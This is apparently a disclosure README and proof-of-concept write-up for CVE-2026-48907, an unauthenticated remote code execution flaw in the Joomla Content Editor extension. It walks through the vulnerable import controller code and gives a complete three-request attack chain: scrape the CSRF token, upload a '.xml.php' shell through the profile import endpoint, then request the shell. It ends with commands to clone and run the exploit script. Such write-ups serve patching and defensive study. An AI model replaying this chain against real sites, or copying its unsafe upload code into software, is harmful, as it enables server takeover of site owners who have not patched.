
Proof-of-concept exploit and technical analysis for CVE-2026-48907, a CVSS 10.0 pre-authentication remote code execution vulnerability in the Joomla Content Editor (JCE). Includes a 3-request attack chain and detailed patch breakdown.
Proof-of-concept exploit for CVE-2026-48907 — a CVSS 10.0 pre-authentication remote code execution vulnerability in the Joomla Content Editor (JCE) extension.
Research by Grayxploit Security Team
CVE-2026-48907 is a critical unauthenticated remote code execution (RCE) vulnerability affecting the Joomla Content Editor (JCE) extension — the most widely installed Joomla editor — in all versions up to and including 2.9.99.4.
By chaining three independent security weaknesses in the JCE profile import workflow, a completely unauthenticated attacker can:
/tmp/ directoryThe attack requires only 3 HTTP requests and works against any default Joomla installation running a vulnerable JCE version.
CVSS v4 Score: 10.0 — Critical
Discovered and publicly disclosed by the Grayxploit security research team following responsible disclosure.
| Software | Vulnerable Versions | Patched Version |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (recommended) |
Note: 2.9.99.5 introduced the core fix. 2.9.99.6 added additional hardening layers. Upgrade to 2.9.99.6 or later.
The vulnerability originates in the JCE profile import endpoint:
POST /index.php?option=com_jce&task=profiles.import
JCE allows administrators to export and import editor profiles as XML files. The import handler is reachable without authentication and accepts arbitrary file uploads due to a chain of three independent weaknesses.
The import controller performed no ACL check:
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla embeds the CSRF token in every public page as a meta tag or JS variable:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
An attacker simply fetches the homepage, extracts the token, and replays it. The CSRF check prevents cross-site requests — it does not prevent direct scripted requests. There was no call to Factory::getUser() or $user->authorise(...) anywhere in the import path.
The upload handler used File::makeSafe() which only strips illegal filesystem characters — it does not validate or restrict file extensions:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
A filename like shell.xml.php passes File::makeSafe() untouched. Apache's mod_php executes it because the last recognized extension is .php. Extensions like .php, .php5, .phtml, and double-barrelled variants were all accepted.
File::upload() Called with $allow_unsafe = true (CWE-116)Joomla's File::upload() has a built-in extension blacklist that blocks dangerous file types when $allow_unsafe = false (the default):
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
The vulnerable JCE code explicitly disabled this safety net:
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
This single boolean flipped off Joomla's entire internal extension blacklist, allowing .php, .php5, .phtml, and all other executable extensions to be written to disk.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
No session cookie. No username. No password. 3 HTTP requests.
⚠️ This PoC is provided strictly for authorized security research and penetration testing. Do not use against any system without explicit written permission. Unauthorized use is illegal and unethical.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py